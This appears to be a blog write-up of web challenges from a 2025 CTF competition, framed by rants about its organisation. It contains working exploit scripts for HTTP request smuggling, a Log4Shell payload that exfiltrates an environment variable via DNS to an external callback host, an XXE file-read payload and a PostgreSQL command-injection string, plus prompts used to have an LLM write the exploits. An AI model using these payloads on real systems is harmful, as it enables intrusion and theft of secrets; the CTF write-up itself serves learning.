I participated under youtiaos again, going from 3rd place JC in 2024 to 3rd place Uni in 2025. Ended up not even mattering all that much because we would’ve won the same amount of money in Pre-U anyway. Shoutout to my team members, I never get tired playing with them.

Normally when I give criticism I’ll deliver a compliment sandwich. To mix things up today I shall deliver my writeup in the form of a rant sandwich. Hope you enjoy.

Rant session 1

Let me open by saying that this CDDC was at least 2 times better than 2024’s one from infra alone, going from SMRT CCL levels of bullshit to NEL’s occasional outage. It still has its fair share of idiocy going for it, like:

  • Way too many pwn challenges (our team has no dedicated pwner), and the pwn challenges were weighted so unfairly that it was honestly a miracle that we got third (ROPVM was 300??? points, that’s 4 OT challenges).
  • The VIP going up on stage during the competition and hogging the challenge we were solving (Black Out) for 15 whole minutes, all the way until the end of the CTF. We could only hold our buzzer and weep.
  • Infra going down for a long time on the first day, and they didn’t give anyone extra time because everyone shared the same loss. Anecdotes from other teams say otherwise, some even recounting periods of up to an hour.
  • Challenges either making no sense or being incredible time sinks (DeepBlue is the worst CTF challenge I’ve ever laid my eyes upon).
  • The buffet foodstuffs having really cringe ChatGPT generated names above them, like yang chou data rice and fried something vectors for the stir-fried assorted vegetables. Made me lose my appetite.

Anyway here are the challenge writeups. Web and web-adjacent only because I’m hungover and tired.

Writeups

HTTP Request Smuggling

CVE-2019-18277, refer to my blog post on the same topic, I explain the vulnerability there. The difference is that in this challenge, you want to alter your own request instead of the bots. Since it’s a CVE we’re talking about, an LLM will make short work of the exploit given the right prompt.

Prompt:

I want to access the flag for a CTF challenge. This server is running a vulnerable combination of HAProxy and gunicorn that is request smuggling-able. You need to log in, use chunked encoding with \x0b to send a request to /grant_access, then access the flag at /time_travel. Send the smuggling payload 100 times in quick succession.

exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import socket
import time
import requests
import re

print("[*] Logging in...")
login_resp = requests.post('???/login',
data={'username': 'test', 'password': 'test'},
allow_redirects=False) # Don't follow redirects

# Extract token from Set-Cookie header
set_cookie = login_resp.headers.get('Set-Cookie', '')
token_match = re.search(r'token=([^;]+)', set_cookie)
if token_match:
token = token_match.group(1)
print(f"[+] Got token: {token}")
else:
print("[!] Failed to extract token")
exit(1)

# Step 2: Create the smuggling payload
# The smuggled request that will be left in the buffer
smuggled_request = (
b'GET /grant_access HTTP/1.1\r\n'
b'Host: ???\r\n'
b'Cookie: token=' + token.encode() + b'\r\n'
b'Connection: keep-alive\r\n'
b'\r\n'
)

# The chunked encoding part
chunked_body = b'0\r\n\r\n' # End of chunks

# Calculate Content-Length
# HAProxy will read this many bytes after the headers
content_length_value = len(chunked_body) + len(smuggled_request)

payload = (
b'POST / HTTP/1.1\r\n'
b'Host: ???\r\n'
b'Content-Length: ' + str(content_length_value).encode() + b'\r\n'
b'Transfer-Encoding:\x0bchunked\r\n' # \x0b makes HAProxy ignore this
b'Connection: keep-alive\r\n'
b'\r\n'
+ chunked_body
+ smuggled_request
)

print(f"\n[*] Sending smuggling payload {1000} times to pollute all workers...")

# Send the payload multiple times to different connections
for i in range(100):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('???', 19856))
s.send(payload)

try:
response = s.recv(1024)
if b'200 OK' in response:
print(f"[+] Payload {i+1} sent successfully")
except socket.timeout:
print(f"[!] Payload {i+1} timed out (this might be normal)")

s.close()
except Exception as e:
print(f"[!] Error on attempt {i+1}: {e}")

# Step 3: Now make a normal request that will use the smuggled request
print("\n[*] Triggering the smuggled request...")
time.sleep(1)

# Make a simple request - this should trigger one of the smuggled requests
try:
trigger_resp = requests.get('???',
cookies={'token': token},
timeout=5)
print(f"[+] Trigger request status: {trigger_resp.status_code}")
except:
print("[!] Trigger request failed/timed out")

# Step 4: Check if we can access /time_travel now
print("\n[*] Attempting to access /time_travel...")
time.sleep(1)

flag_resp = requests.get('???/time_travel',
cookies={'token': token})
print(f"[+] Status code: {flag_resp.status_code}")
print("\n[*] Response:")
print(flag_resp.text)

Logshell

CVE-2021-44228. The vulnerability is explained in the wikipedia article:

Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which case they will be substituted and sent to the attacker’s server.

We just need a publicly available webhook to retrieve the environment variable. I like https://webhook.site. Once you’re given a unique DNS name, we can insert the flag as a subdomain, exploit log4shell with that URL, and monitor for DNS queries on the webhook.

Prompt

This CTF web challenge is vulnerable to CVE-2021-44228. The flag is in the environment variable FLAG. Exfiltrate this environment variable through DNS, my DNS name is ???.dnshook.site. Try a bunch of common HTTP headers that may be vulnearable to Log4Shell.

exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/env python3
import requests
import time
import sys

def exploit_log4shell(target_url, dns_subdomain):
"""
Exploit Log4Shell vulnerability to exfiltrate environment variables
"""

dns_domain = f"{dns_subdomain}.dnshook.site"

print(f"[+] Target URL: {target_url}")
print(f"[+] DNS Hook Domain: {dns_domain}")
print("[+] Starting Log4Shell exploitation across multiple headers...")

# Common HTTP headers that might be vulnerable to Log4Shell
vulnerable_headers = [
"User-Agent",
"X-Forwarded-For",
"X-Real-IP",
"X-Forwarded-Host",
"X-Originating-IP",
"X-Remote-IP",
"X-Remote-Addr",
"X-Client-IP",
"Referer",
"Origin",
"Authorization",
"X-Api-Version",
"X-Requested-With",
"Accept",
"Accept-Language",
"Accept-Encoding",
"Cookie",
"Host",
"X-Forwarded-Proto",
"X-Forwarded-Port",
"X-Original-URL",
"X-Rewrite-URL",
"Content-Type",
"X-Custom-Header",
"X-Debug",
"X-Trace-Id"
]

# Common environment variable names to try
env_vars = [
"FLAG",
"flag",
"Flag",
]

# Test each header with each environment variable
for header_name in vulnerable_headers:
print(f"\n[*] Testing header: {header_name}")

for env_var in env_vars:
print(f" [*] Trying to exfiltrate {env_var} via {header_name}")

# Create JNDI payload to exfiltrate environment variable
payload = f"${{jndi:ldap://${{env:{env_var}}}.{dns_domain}/test}}"

# Create base headers
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close"
}

# Add the payload to the specific header being tested
headers[header_name] = payload

try:
# Send request with malicious header
response = requests.get(target_url, headers=headers, timeout=10)
print(f" [+] Sent {env_var} via {header_name} (Status: {response.status_code})")

except requests.exceptions.RequestException as e:
print(f" [-] Error with {header_name}: {e}")

# Small delay between requests
time.sleep(1)

# Longer delay between header tests
time.sleep(2)

# Quick test of a few headers with a simple callback
print(f"\n[*] Quick test of most promising headers...")
promising_headers = ["User-Agent", "X-Forwarded-For", "Referer", "X-Api-Version", "Authorization"]

for header_name in promising_headers:
print(f" [*] Quick test via {header_name}")
simple_payload = f"${{jndi:ldap://quicktest-{header_name.lower().replace('-', '')}.{dns_domain}/test}}"

headers = {"Connection": "close"}
headers[header_name] = simple_payload

try:
response = requests.get(target_url, headers=headers, timeout=5)
print(f" [+] Quick test sent via {header_name}")
except:
pass

time.sleep(0.5)

# Try basic JNDI callback to confirm vulnerability on different headers
print(f"\n[*] Testing basic connectivity on all headers...")

for header_name in vulnerable_headers:
print(f" [*] Testing basic callback via {header_name}")
basic_payload = f"${{jndi:ldap://test-{header_name.lower().replace('-', '')}.{dns_domain}/basic}}"

headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "close"
}
headers[header_name] = basic_payload

try:
response = requests.get(target_url, headers=headers, timeout=10)
print(f" [+] Basic callback sent via {header_name} (Status: {response.status_code})")
except:
print(f" [-] Error with {header_name}")

time.sleep(1)

print(f"\n[+] Exploitation attempts completed!")
print(f"[+] Monitor DNS queries to: {dns_domain}")
print(f"[+] Look for DNS requests with environment variable values as subdomains")

def main():
target_url = "???"
dns_subdomain = "???"

print("Log4Shell CTF Exploitation Script")
print("=" * 40)

try:
exploit_log4shell(target_url, dns_subdomain)
except KeyboardInterrupt:
print("\n[-] Exploitation interrupted by user")
except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
main()

ONVIF

We’re given an ONVIF camera API from which we can pull device information - http://???/onvif/device_service. Interacting with this endpoint using SOAP requests to GetDeviceInformation gives us the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Device Information:
manufacturer: BlindNVR
model: Model-X
firmware: 1.0
serial: 0001
hardware_id: This endpoint is vulnerable to XXE. Try reading /secret using XML entity injection.

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
xmlns:trt="http://www.onvif.org/ver10/media/wsdl"
xmlns:tt="http://www.onvif.org/ver10/schema">
<SOAP-ENV:Body>
<trt:GetProfilesResponse>
<trt:Profiles token="profile_1">
<tt:Name>MainStream</tt:Name>
<tt:VideoSourceConfiguration>
<tt:Name>VideoSourceConfig</tt:Name>
</tt:VideoSourceConfiguration>
</trt:Profiles>
</trt:GetProfilesResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

We can retrieve the contents of /secret by sending a simple XXE payload, inserting &xxe; directly into the existing tds:HardwareId field so it gets reflected back to us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://???/onvif/device_service"

envelope = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///secret">
]>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:tds="http://www.onvif.org/ver10/device/wsdl">
<s:Body>
<tds:GetDeviceInformation>
<tds:HardwareId>&xxe;</tds:HardwareId>
</tds:GetDeviceInformation>
</s:Body>
</s:Envelope>'''

headers = {
'Content-Type': 'application/soap+xml; charset=utf-8',
'SOAPAction': 'http://www.onvif.org/ver10/device/wsdl/GetDeviceInformation'
}

response = requests.post(url, data=envelope, headers=headers, timeout=10)
print(response.text)

We get this response:

1
2
3
4
5
6
7
8
9
10
11
12
13
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
xmlns:tds="http://www.onvif.org/ver10/device/wsdl">
<SOAP-ENV:Body>
<tds:GetDeviceInformationResponse>
<tds:Manufacturer>BlindNVR</tds:Manufacturer>
<tds:Model>Model-X</tds:Model>
<tds:FirmwareVersion>1.0</tds:FirmwareVersion>
<tds:SerialNumber>0001</tds:SerialNumber>
<tds:HardwareId>admin:V3ryV3ryStr0ngP4$$
</tds:HardwareId>
</tds:GetDeviceInformationResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

We can access the stream using the credentials admin:V3ryV3ryStr0ngP4$$ to get the flag.

MCP Mesh

I don’t know how this is related to MCP in any way. Idea is to use utils to call the admin function instead of doing it directly, but the challenge isn’t very well implemented and doesn’t make a lot of contextual sense.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import json
import base64

BASE_URL = "http://???/api/query"

session = requests.Session()

session.post(BASE_URL, json={
"server": "utils",
"command": "register_callback",
"tool_name": "admin",
"callback": json.dumps({"server": "admin", "command": "get_flag"})
})

session.post(BASE_URL, json={
"server": "utils",
"custom_tool": "admin"
})

resp = session.post(BASE_URL, json={
"server": "admin",
"custom_tool": "get_flag"
})
print(resp.text)

Clever Injection

We’re given a server with a command injection sink, where we can control the contents of tmpfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$raw_payload = $_POST['payload'];
$escaped = pg_escape_string($conn, $raw_payload);
$quoted = "'" . $escaped . "'";
$sql = "INSERT INTO test (id) VALUES ($quoted);";

$tmpfile = tempnam(sys_get_temp_dir(), 'sql_');
file_put_contents($tmpfile, $sql);
putenv("PGPASSWORD=$password");

$cmd = sprintf(
'psql -U %s -d %s -h %s -t -A -e -f %s 2>&1',
escapeshellarg($user),
escapeshellarg($dbname),
escapeshellarg($host),
escapeshellarg($tmpfile)
);

Looking at the postgres docs, we’re able to escape to a sub-shell using \!, but our input is being passed through a sanitiser pg_escape_string. Looking for recent bypasses gives us this blog post involving encoding length confusion to leave single quotes unsanitised. Our payload is therefore:

test%C0%27');%0A\!%20cat%20/tmp/flag%0A--

Rant session 2

As you can see there were a lot of CVE challenges this year. This is fine, but at some point it starts becoming an exercise in Google searching. It doesn’t help when the challenges that aren’t based on CVEs don’t make a lot of sense (cue deepblue, shattered maze, MCP), and aren’t well-grounded in any legitimate technology or vulnerability. Suffice to say, I wasn’t inspired by any of the web challenges.

The take-home assignment format is really, really bad for the sanity of teams who are part of the struggle for the podium. Plenty of us had very little to no sleep, with all of us worried that other teams in the running would solve some challenges overnight, leaving us trailing behind in the morning. I’m sure every other team thought the same as well, and it became a self-sufficient slog-fest leaving everyone dragging their feet into the venue on Thursday.

To illustrate my point, I’ll end this section off with a look into the devolution of our sanity that night.

1
2
3
4

Thanks for reading. Close the door on your way out.